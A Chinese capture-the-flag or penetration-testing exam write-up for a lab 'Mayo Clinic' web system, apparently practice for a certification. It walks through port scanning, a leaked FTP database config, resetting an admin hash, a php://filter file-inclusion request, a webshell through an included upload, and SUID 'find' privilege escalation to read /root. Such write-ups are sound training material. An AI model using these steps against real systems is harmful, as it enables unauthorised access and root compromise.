-
- 综合考试题(一)梅奥诊所系统
- 问题
- 解题WP
-
- 1、获取后台
- 2、获取shell
- 3、提权查看文件
- 摘抄
问题1:请访问192.168.0.110,登录网站后台将看到 KEY6 的值 问题2:请获取 WebShell 后,在网站运行目录下找到 KEY7 的值: 问题3:请获取服务器 root 权限后,在/root 路径下找到 KEY8 的值:
解题WP 1、获取后台第一步 扫描端口,发现开放的端口
nmap -p- -A 192.168.0.110 -------------- 21-ftp-开放 80-web-开放 3306-mysql-开放 6721-web-开放
第二步 访问web页面通过注册,点击确认,发现跳转到后台界面
(这块也可以通过扫描目录发现后台的地址),暴力破解发现无法得到密码
发现一点击确认,发现是通过前端路由的形式进行跳转到index.php,保存这个地址
直接访问后台(http://192.168.0.110/index.php)
第三步 查看ftp,发现泄露的文件,发现数据的账号密码,进行远程连接
ftp://192.168.253.205/ 发现有个pub目录,进行访问 ftp://192.168.253.205/pub/ 发现有个config文件 本地下载并且进行查看,发现泄露了数据库的信息 --------------------- 'localhost', //数据库主机 'datebase' => 'patient', //数据库名称 'username' => 'root', //数据库用户名 'password' => '123456', //数据库密码 'charset' => 'utf8', //数据库字符集 ?> -------------------
第四步 通过泄露的账号密码,进行远程登录数据库,并且更新数据
123456的md5加密: e10adc3949ba59abbe56e057f20f883e
第五步 再次登录后台,成功进去获取key
key6:t7kxer7z
第一步 文件上传,只能上传pdf文件,发现无法回显,无法找到路径 这个是根据第五步的上传文件分析,只允许上传pdf文件
第二步 通过访问6721,提示有个访问API查询接口,分析代码,是有一个文件包含漏洞,所有应该是需要包含刚才上传的文件
http://192.168.0.110:6721/ http://192.168.0.110:6721/api/query_pdf.php
提示需要使用post请求,并且提交archive的值,
第三步 通过扫描目录,访问phpinfo,发现网站的绝对路径
http://192.168.0.110/phpinfo.php ------------------------------ DOCUMENT_ROOT /var/www/html/PIzABXDg/ SCRIPT_FILENAME /var/www/html/PIzABXDg/phpinfo.php -------------------------------
第四步 通过读取index.php,分析源码,发现上传的文件都在mode为文件下 使用封装协议读取PHP协议,查看index.php的源代码
php://filter/read=convert.base64-encode/resource= POST /api/query_pdf.php HTTP/1.1 Host: 192.168.0.110:6721 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=q5v69h5nq279pqs90tt5k62g81 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 89 archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/index.php
base64解码后
select_one('user',array('id' => $_SESSION['uid'])); if(!$user) alert_goto('?m=login','æ²¡æœ‰è¿™ä¸ªç”¨æˆ·çš„è®°å½•ï¼Œè¯·é‡æ–°ç™»å½•ï¼'); } if($g_m == 'home'){ $g_m = 'order'; $g_o = 'list'; } $exts = $db->select_date('ext'); foreach($exts as $ext) $config['ext'][$ext['id']] = $ext; foreach($exts as $ext) $config['ext'][$ext['code']] = $ext; $model_file = 'model/'.$g_m.'.php'; if(file_exists($model_file)) include($model_file); $operate_file = 'model/'.$g_m."_".$g_o.".php"; if(file_exists($operate_file)) include($operate_file); create_html(); ?>
第五步 根据第四步的提示,继续获取/model/order_upload.php源码 通过分析,文件上传的时候,提交的两个参数m=order&o=upload ,最后保存到/model/order_upload.php函数进行处理,所有文件包含,查看内容
archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/model/order_upload.php
经过base64解码后
第六步,通过分析,发现刚才上传的文件是村子,访问发现确实存在
http://192.168.0.110/CISP-PTE-1413/
第七步 通过蚁剑,配置文件(文件包含去读取上传的文件)
添加文件包含的目录,并且base64编码
添加请求body信息
测试连接成功
第八步 连接成功,翻找key7.php
第一步 查看当前用户权限,低权限
find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u=s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。 实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
第二步 使用suid提权,发现当前用户是root
/usr/bin/find query_pdf.php -exec whoami \;
第三步 通过提示,查看/root目录下的文件
第四步 查看/root/key8.php内容
/usr/bin/find query_pdf.php -exec cat /root/key8.php \;
注意:这使用绝对路径
此时数据库也可以直接连接上
学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。 学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。 唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。
—《不断学习》